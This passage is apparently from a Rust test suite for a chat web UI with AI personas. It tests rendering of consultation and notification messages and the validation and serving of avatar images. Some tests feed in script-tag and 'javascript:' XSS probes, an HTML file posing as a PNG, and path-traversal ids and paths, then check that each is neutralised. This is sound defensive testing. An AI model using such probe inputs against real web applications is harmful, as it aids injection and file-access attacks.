13892 ui.talks.get(&id).unwrap(),
13893 false,
13894 None,
13895 &ui.home,
13896 &ui.references,
13897 );
13898 assert_eq!(view.turn_messages_md[1][0], queued_md);
13899 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13900 assert!(
13901 !view.talk.turns[2].messages[0]
13902 .reply
13903 .as_ref()
13904 .unwrap()
13905 .excerpt
13906 .contains("automatic report")
13907 );
13908 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13909 }
13910
13911 #[tokio::test]
13912 async fn consultation_display_hides_directives_in_queue_and_history() {
13913 for node in [
13914 "implement",
13915 crate::land::APPROVAL_NODE,
13916 crate::github_text::ASK_NODE,
13917 ] {
13918 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13919 let mut question = Question::new(
13920 "run-123".into(),
13921 node.into(),
13922 "seat-1".into(),
13923 "Which backend?".into(),
13924 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13925 vec!["SQLite".into(), "Redis".into()],
13926 );
13927 ui.questions.put(&mut question).unwrap();
13928 let body = crate::prompt::chat_consult(&question);
13929 let mut conversation = ui.talks.get(&id).unwrap();
13930 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13931 assert!(
13932 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13933 );
13934 conversation = ui.talks.get(&id).unwrap();
13935 assert_eq!(conversation.pending_messages[0].body, body);
13936 assert!(body.contains("magi answer"));
13937 let mut legacy_pending = conversation.clone();
13938 legacy_pending.pending_messages[0].display = None;
13939 let legacy_view =
13940 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13941 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13942 assert!(legacy_md.contains("Question consultation"));
13943 assert!(!legacy_md.contains("magi answer"));
13944 let view =
13945 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13946 assert!(
13947 view.turn_messages_md[0][0].is_none(),
13948 "operator copy stays literal"
13949 );
13950 let queued_md = view.pending_messages_md[0].clone().unwrap();
13951 let rendered = serde_json::to_string(&queued_md).unwrap();
13952 for visible in [
13953 "Which backend?",
13954 "Context",
13955 "storage",
13956 "SQLite",
13957 "Redis",
13958 "<script>literal</script>",
13959 ] {
13960 assert!(rendered.contains(visible), "missing {visible}");
13961 }
13962 for directive in [
13963 "What to do",
13964 "magi answer",
13965 "Never answer it yourself",
13966 "Do not edit the repository",
13967 ] {
13968 assert!(!rendered.contains(directive), "exposed {directive}");
13969 }
13970 assert_eq!(
13971 view.talk.pending_messages[0].display,
13972 Some(crate::prompt::chat_consult_display(&question))
13973 );
13974 talk::drain(&mut conversation, &ui.talks).unwrap();
13975 let view =
13976 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13977 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13978 assert_eq!(conversation.turns[1].messages[0].body, body);
13979
13980 conversation.turns[1].messages[0].display = None;
13983 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13984 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13985 assert!(legacy.contains("Question consultation"));
13986 assert!(!legacy.contains("magi answer"));
13987 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13988 }
13989 }
13990
13991 #[test]
13992 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13993 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13994 let (body, mut display) =
13995 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13996 display.facts = facts.into();
13997 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13998 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13999 let json = serde_json::to_string(&nodes).unwrap();
14000 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14001 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14002 }
14003 assert!(json.contains("<script>alert(1)</script>"));
14004 assert!(!json.contains("javascript:"));
14005 assert!(!json.contains("Tell the operator"));
14006 assert!(!json.contains("untrusted"));
14007 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14008 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14009 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14010 assert_eq!(
14011 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14012 md::to_nodes("# Status", &md::ImageBase::None),
14013 );
14014 }
14015
14016 #[tokio::test]
14017 async fn notification_display_recovers_exact_legacy_completion_references() {
14018 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14019 let mut conversation = ui.talks.get(&id).unwrap();
14020 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14021 id: "task-123",
14022 title: "Change",
14023 status: "done",
14024 reason: None,
14025 run: Some("run-123"),
14026 pr: None,
14027 summary: Some("Merge state unknown"),
14028 });
14029 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14030 conversation.turns[0].sender = None;
14031 conversation.turns[0].messages.clear();
14032 conversation.turns[0].breaks = None;
14033 conversation.pending = body.clone();
14034 conversation
14035 .completion_notices
14036 .push(crate::chat_notify::CompletionReference {
14037 task: "task-123".into(),
14038 run: Some("run-123".into()),
14039 notice: body.clone(),
14040 });
14041 ui.talks.put(&mut conversation).unwrap();
14042 let view = TalkView::with_config(
14043 ui.talks.get(&id).unwrap(),
14044 false,
14045 None,
14046 &ui.home,
14047 &ui.references,
14048 );
14049 assert_eq!(
14050 view.talk.turns[0].messages[0].display,
14051 Some(display.clone())
14052 );
14053 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14054 assert_eq!(
14055 view.talk.turns[0].messages[0].sender,
14056 Some(talk::Sender::Magi)
14057 );
14058 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14059 conversation.completion_notices[0]
14060 .notice
14061 .push_str("different");
14062 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14063 assert!(view.talk.turns[0].messages.is_empty());
14064 assert!(view.talk.pending_messages.is_empty());
14065 }
14066
14067 #[tokio::test]
14068 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14069 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14070 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14071 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14072 ))
14073 .await;
14074 let path = avatar_setting_path(home.path(), Some("rei"));
14075 let orphan = avatar_setting_path(home.path(), Some("removed"));
14076 save_icon_file(&orphan, icon).unwrap();
14077 for (saved, expected) in [
14078 (icon, "custom"),
14079 ("builtin", "builtin"),
14080 ("data:image/png;base64,!!!!", "inherit"),
14081 ("data:image/png;base64,PGh0bWw+", "inherit"),
14082 ("/tmp/avatar.png", "inherit"),
14083 ] {
14084 atomic_icon_write(&path, saved).unwrap();
14085 let catalog =
14086 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14087 .await
14088 .unwrap()
14089 .0;
14090 let personas = catalog["personas"].as_array().unwrap();
14091 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14092 assert_eq!(rei["override_state"], expected);
14093 assert_eq!(rei["has_config_icon"], true);
14094 assert_eq!(rei["is_orphan"], false);
14095 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14096 assert_eq!(removed["override_state"], "custom");
14097 assert_eq!(removed["is_orphan"], true);
14098 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14099 assert_eq!(default["override_state"], "inherit");
14100 assert_eq!(default["has_config_icon"], false);
14101 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14102 assert_eq!(
14103 effective.as_deref(),
14104 Some(if expected == "builtin" { "" } else { icon })
14105 );
14106 }
14107 }
14108
14109 #[tokio::test]
14110 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14111 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14112 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14113 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14114 ))
14115 .await;
14116 let target = |id: Option<&str>| AvatarSettingsQuery {
14117 persona: id.map(str::to_owned),
14118 ..Default::default()
14119 };
14120 let original_config = config_for(&repo).await.unwrap();
14121 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14122 let original_prompt = persona::section_for(&original_persona, None);
14123 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14124 .await
14125 .unwrap()
14126 .0;
14127 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14128 let _ = avatar_settings_put(
14129 State(ui.clone()),
14130 Query(target(persona)),
14131 Json(MagiIconUpload { icon: icon.into() }),
14132 )
14133 .await
14134 .unwrap();
14135 let path = avatar_setting_path(home.path(), persona);
14136 assert!(path.starts_with(home.path().join("avatars")));
14137 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14138 for bad in [
14139 "/tmp/image.png".to_owned(),
14140 "data:image/png;base64,!!!!".to_owned(),
14141 "data:image/png;base64,PGh0bWw+".to_owned(),
14142 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14143 format!(
14144 "data:image/png;base64,{}",
14145 "A".repeat(persona_icon::ICON_MAX_BYTES)
14146 ),
14147 ] {
14148 assert!(
14149 avatar_settings_put(
14150 State(ui.clone()),
14151 Query(target(persona)),
14152 Json(MagiIconUpload { icon: bad })
14153 )
14154 .await
14155 .is_err()
14156 );
14157 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14158 }
14159 }
14160 assert!(read_magi_icon(home.path()).is_none());
14161 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14162 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14163 .await
14164 .unwrap()
14165 .0;
14166 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14167 assert_ne!(
14168 before
14169 .personas
14170 .iter()
14171 .find(|p| p.id == "magi")
14172 .unwrap()
14173 .avatar,
14174 after
14175 .personas
14176 .iter()
14177 .find(|p| p.id == "magi")
14178 .unwrap()
14179 .avatar
14180 );
14181 let restarted = Arc::new(Ui::new(
14182 Queue::at(home.path().join("queue")),
14183 Questions::at(home.path().join("questions")),
14184 Talks::at(home.path().join("talks")),
14185 home.path().join("runs"),
14186 home.path().to_owned(),
14187 repo,
14188 ));
14189 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14190 .await
14191 .unwrap()
14192 .0;
14193 assert!(
14194 catalog["personas"]
14195 .as_array()
14196 .unwrap()
14197 .iter()
14198 .any(|p| p["id"] == "../custom/日本語")
14199 );
14200 for expected in ["custom", "default", "rei"] {
14201 assert!(
14202 catalog["personas"]
14203 .as_array()
14204 .unwrap()
14205 .iter()
14206 .any(|p| p["id"] == expected)
14207 );
14208 }
14209 let response =
14210 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14211 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14212 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14213 .await
14214 .unwrap();
14215 assert_eq!(
14216 effective_persona_icon(home.path(), "rei", Some(icon)),
14217 Some(String::new())
14218 );
14219 let response = talk_avatar(
14220 State(restarted.clone()),
14221 Path(id.clone()),
14222 Query(AvatarQuery {
14223 persona: Some("rei".into()),
14224 ..Default::default()
14225 }),
14226 )
14227 .await
14228 .unwrap();
14229 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14230 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14231 .await
14232 .unwrap()
14233 .0;
14234 assert_ne!(
14235 after
14236 .personas
14237 .iter()
14238 .find(|p| p.id == "rei")
14239 .unwrap()
14240 .avatar,
14241 reset
14242 .personas
14243 .iter()
14244 .find(|p| p.id == "rei")
14245 .unwrap()
14246 .avatar
14247 );
14248 let mut inherit = target(Some("rei"));
14249 inherit.inherit = Some("1".into());
14250 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14251 .await
14252 .unwrap();
14253 assert_eq!(
14254 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14255 Some(icon)
14256 );
14257 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14258 .await
14259 .unwrap();
14260 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14261 assert_eq!(
14262 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14263 Some(icon)
14264 );
14265 let cfg = config_for(&ui.repo).await.unwrap();
14267 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14268 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14269 assert!(!original_prompt.contains("data:image"));
14270 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14271 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14272 assert!(!stored.contains("data:image"));
14273 let mut orphan = ui.talks.get(&id).unwrap();
14274 orphan.persona = "../custom/日本語".into();
14275 let view = TalkView::with_config(
14276 orphan,
14277 false,
14278 Some(&cfg),
14279 home.path(),
14280 &id_links::IndexCache::default(),
14281 );
14282 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14283 }
14284
14285 #[tokio::test]
14286 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14287 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14288 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14289 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14290 let _ = magi_icon_put(
14291 State(ui.clone()),
14292 Json(MagiIconUpload { icon: icon.into() }),
14293 )
14294 .await
14295 .unwrap();
14296 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14297 assert_ne!(original, changed);
14298 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14299 let response = magi_avatar(
14300 State(ui.clone()),
14301 Query(AvatarQuery {
14302 persona: None,
14303 builtin: None,
14304 }),
14305 )
14306 .await;
14307 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14308 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14309 assert_eq!(
14310 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14311 "nosniff"
14312 );
14313 for bad in [
14314 "data:image/png;base64,PGh0bWw+".to_owned(),
14315 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14316 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14317 ] {
14318 assert!(save_magi_icon(home.path(), &bad).is_err());
14319 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14320 }
14321 let restarted = Arc::new(Ui::new(
14323 Queue::at(home.path().join("queue")),
14324 Questions::at(home.path().join("questions")),
14325 Talks::at(home.path().join("talks")),
14326 home.path().join("runs"),
14327 home.path().to_path_buf(),
14328 repo,
14329 ));
14330 assert_eq!(
14331 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14332 changed
14333 );
14334 let view = TalkView::with_config(
14335 restarted.talks.get(&id).unwrap(),
14336 false,
14337 None,
14338 &restarted.home,
14339 &restarted.references,
14340 );
14341 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14342 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14343 let response = magi_avatar(
14344 State(ui.clone()),
14345 Query(AvatarQuery {
14346 persona: None,
14347 builtin: None,
14348 }),
14349 )
14350 .await;
14351 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14352 .await
14353 .unwrap();
14354 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14355 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14356 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14357 let _ = magi_icon_delete(State(ui)).await.unwrap();
14358 }
14359
14360 async fn avatar(
14362 ui: &Arc<Ui>,
14363 id: &str,
14364 persona: Option<&str>,
14365 builtin: bool,
14366 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14367 let res = talk_avatar(
14368 State(Arc::clone(ui)),
14369 Path(id.to_owned()),
14370 Query(AvatarQuery {
14371 persona: persona.map(str::to_owned),
14372 builtin: builtin.then(|| "1".to_owned()),
14373 }),
14374 )
14375 .await
14376 .expect("an avatar is never an error response");
14377 let h = res.headers();
14378 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14379 let nosniff = h
14380 .get(header::X_CONTENT_TYPE_OPTIONS)
14381 .is_some_and(|v| v == "nosniff");
14382 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14383 let status = res.status();
14384 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14385 .await
14386 .expect("body")
14387 .to_vec();
14388 (status, ct, nosniff, csp, body)
14389 }
14390
14391 fn tiny_png() -> Vec<u8> {
14392 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14393 b.extend_from_slice(&[0u8; 32]);
14394 b
14395 }
14396
14397 #[tokio::test]
14398 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14399 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14400 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14401 assert_eq!(res.status(), StatusCode::OK);
14402 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14403 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14404 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14405 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14406 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14407 .await
14408 .unwrap();
14409 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14410 assert_ne!(
14411 persona_icon::operator_svg(),
14412 persona_icon::builtin_svg("default")
14413 );
14414 }
14415
14416 #[tokio::test]
14417 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14418 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14419 for p in [
14420 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14421 ] {
14422 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14423 assert_eq!(status, StatusCode::OK, "{p}");
14424 assert_eq!(ct, "image/svg+xml", "{p}");
14425 assert!(nosniff && csp, "{p}");
14426 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14427 }
14428 let own = avatar(&ui, &id, None, false).await;
14430 let default = avatar(&ui, &id, Some("default"), false).await;
14431 assert_eq!(own.4, default.4);
14432 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14433 assert_eq!(unknown.1, "image/svg+xml");
14434 }
14435
14436 #[tokio::test]
14437 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14438 let dir = TempDir::new().expect("icons");
14439 let good = dir.path().join("good.png");
14440 std::fs::write(&good, tiny_png()).unwrap();
14441 let spoof = dir.path().join("spoof.png");
14442 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14443 let big = dir.path().join("big.png");
14444 let mut bytes = tiny_png();
14445 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14446 std::fs::write(&big, bytes).unwrap();
14447 let missing = dir.path().join("missing.png");
14448 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14449 let extra = format!(
14450 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14451 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14452 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14453 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14454 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14455 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14456 uri(&good),
14457 uri(&spoof),
14458 uri(&big),
14459 uri(&missing),
14460 );
14461 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14462
14463 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14464 assert_eq!(
14465 (status, ct.as_str(), nosniff),
14466 (StatusCode::OK, "image/png", true)
14467 );
14468 assert_eq!(body, tiny_png());
14469 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14470 assert_eq!(ct, "image/png", "data URI");
14471
14472 for p in ["misato", "asuka", "shinji", "magi"] {
14473 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14474 assert_eq!(
14475 (status, ct.as_str(), csp),
14476 (StatusCode::OK, "image/svg+xml", true),
14477 "{p}"
14478 );
14479 assert!(body.starts_with(b"<svg"), "{p}");
14480 }
14481 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14483 assert_eq!(ct, "image/svg+xml");
14484 }
14485
14486 #[tokio::test]
14487 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14488 let oversized = format!(
14489 "data:image/png;base64,{}",
14490 "A".repeat(persona_icon::ICON_MAX_BYTES)
14491 );
14492 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14493 let extra = format!(
14494 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14495 );
14496 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14497 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14498 .await
14499 .expect("detail with invalid icon");
14500 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14501 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14502 assert_eq!(status, StatusCode::OK);
14503 assert_eq!(ct, "image/svg+xml");
14504 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14505 let Json(view) = talk_persona(
14506 State(Arc::clone(&ui)),
14507 Path(id.clone()),
14508 Json(TalkPersona {
14509 persona: "custom".into(),
14510 }),
14511 )
14512 .await
14513 .expect("persona switch with invalid icon");
14514 assert_eq!(view.talk.persona, "custom");
14515 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14516 }
14517 }
14518
14519 #[tokio::test]
14520 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14521 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14522 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14523 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14524 assert_eq!(
14525 (status, ct.as_str(), nosniff, csp),
14526 (StatusCode::OK, "image/svg+xml", true, true)
14527 );
14528 }
14529
14530 #[tokio::test]
14531 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14532 let (_t, _h, ui, id, _repo) =
14533 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14534 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14535 .await
14536 .expect("detail");
14537 let json = serde_json::to_string(&detail).unwrap();
14538 assert!(
14539 !json.contains("secret"),
14540 "the icon setting must not leak: {json}"
14541 );
14542 assert!(
14543 detail
14544 .view
14545 .persona_avatar
14546 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14547 );
14548 assert_eq!(
14549 detail.view.operator_avatar,
14550 format!(
14551 "/avatars/operator.svg?v={}",
14552 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14553 )
14554 );
14555 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14556 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14557 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14558 assert!(rei.avatar.contains("persona=rei&v="));
14559 assert_ne!(
14560 rei.avatar.split("&v=").nth(1),
14561 plain.avatar.split("&v=").nth(1)
14562 );
14563 }
14564
14565 #[tokio::test]
14566 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14567 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14568 let cfg = config_for(&repo).await.unwrap();
14569 for arrived in [false, true] {
14570 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14571 let observed = ui.queued_generation(&id);
14572 let talk = ui.talks.get(&id).unwrap();
14573 if arrived {
14574 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14575 }
14576 let mut settling = std::pin::pin!(settle_settings_turn(
14577 talk,
14578 ui.talks.clone(),
14579 cfg.clone(),
14580 id.clone(),
14581 turn,
14582 observed
14583 ));
14584 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14585 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14586 assert_eq!(first.is_pending(), arrived);
14587 if arrived {
14588 assert!(!settling.await);
14589 }
14590 assert!(!ui.is_thinking(&id));
14591 }
14592 }
14593
14594 #[tokio::test]
14595 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14596 let tmp = TempDir::new().expect("tempdir");
14597 let repo = tmp.path().join("repo");
14598 std::fs::create_dir_all(&repo).expect("repo dir");
14599 std::fs::write(
14600 repo.join("magi.toml"),
14601 format!(
14602 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14603 ),
14604 )
14605 .expect("write magi.toml");
14606 let home = TempDir::new().expect("temp home");
14607 let talks = Talks::at(home.path().join("talks"));
14608 let ui = Arc::new(
14609 Ui::new(
14610 Queue::at(home.path().join("queue")),
14611 Questions::at(home.path().join("questions")),
14612 talks.clone(),
14613 home.path().join("runs"),
14614 home.path().to_path_buf(),
14615 repo.clone(),
14616 )
14617 .with_worktrees_root(home.path().join("wt")),
14618 );
14619 let cfg = config_for(&repo).await.expect("discover config");
14620 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14621 let id = talk.id.clone();
14622 let call = |persona: &str| {
14623 talk_persona(
14624 State(Arc::clone(&ui)),
14625 Path(id.clone()),
14626 Json(TalkPersona {
14627 persona: persona.to_owned(),
14628 }),
14629 )
14630 };
14631
14632 let unknown = call("nobody").await.expect_err("unknown persona");
14633 assert_eq!(
14634 unknown.status,
14635 StatusCode::BAD_REQUEST,
14636 "{}",
14637 unknown.message
14638 );
14639
14640 {
14641 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14644 let busy = call("rei").await.expect_err("busy talk");
14645 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14646 assert!(
14647 busy.message.contains("a talk turn is running"),
14648 "{}",
14649 busy.message
14650 );
14651 drop(guard);
14652 }
14653 assert_eq!(talks.get(&id).expect("reload").persona, "");
14654
14655 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14656 assert_eq!(view.talk.persona, "gendo");
14657 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14658 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14659 for chosen in ["default", "gendo", "rei", "gendo"] {
14661 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14662 assert!(!view.thinking);
14663 assert!(!ui.is_thinking(&id));
14664 }
14665
14666 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14667 .await
14668 .expect("detail");
14669 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14670 assert_eq!(ids.first(), Some(&"default"));
14671 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14672
14673 let Json(view) = call("default").await.expect("back to default");
14674 assert_eq!(view.talk.persona, "");
14675
14676 let mut closed = talks.get(&id).expect("reload");
14677 talk::close(&mut closed, &talks).expect("close");
14678 let refused = call("rei").await.expect_err("closed talk");
14679 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14680 assert!(
14681 refused.message.contains("takes no more turns"),
14682 "{}",
14683 refused.message
14684 );
14685 }
14686
14687 #[tokio::test]
14688 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14689 let f = Fixture::start().await;
14690 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14691 let queue = f.queue();
14692 let mut mine = Task::new(
14693 "rename the loader".to_owned(),
14694 "rename the loader".to_owned(),
14695 PathBuf::from("/repo/magi"),
14696 Source::Agent {
14697 run: talk_id.clone(),
14698 node: "chat".to_owned(),
14699 },
14700 );
14701 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14702 assert_eq!(empty["task_progress"]["state"], "none");
14703 assert_eq!(empty["task_progress"]["total"], 0);
14704 queue.put(&mut mine).expect("file the task");
14705 let mut theirs = Task::new(
14706 "unrelated".to_owned(),
14707 "unrelated".to_owned(),
14708 PathBuf::from("/repo/magi"),
14709 Source::Human,
14710 );
14711 theirs.origin_chat = Some(talk_id.clone());
14713 queue.put(&mut theirs).expect("file the task");
14714
14715 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14716 assert_eq!(res.status, 200, "{}", res.body);
14717 let body = res.json();
14718 assert_eq!(
14719 body["status"], "open",
14720 "filing a task does not close a talk"
14721 );
14722 let tasks = body["tasks"].as_array().expect("tasks array");
14723 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
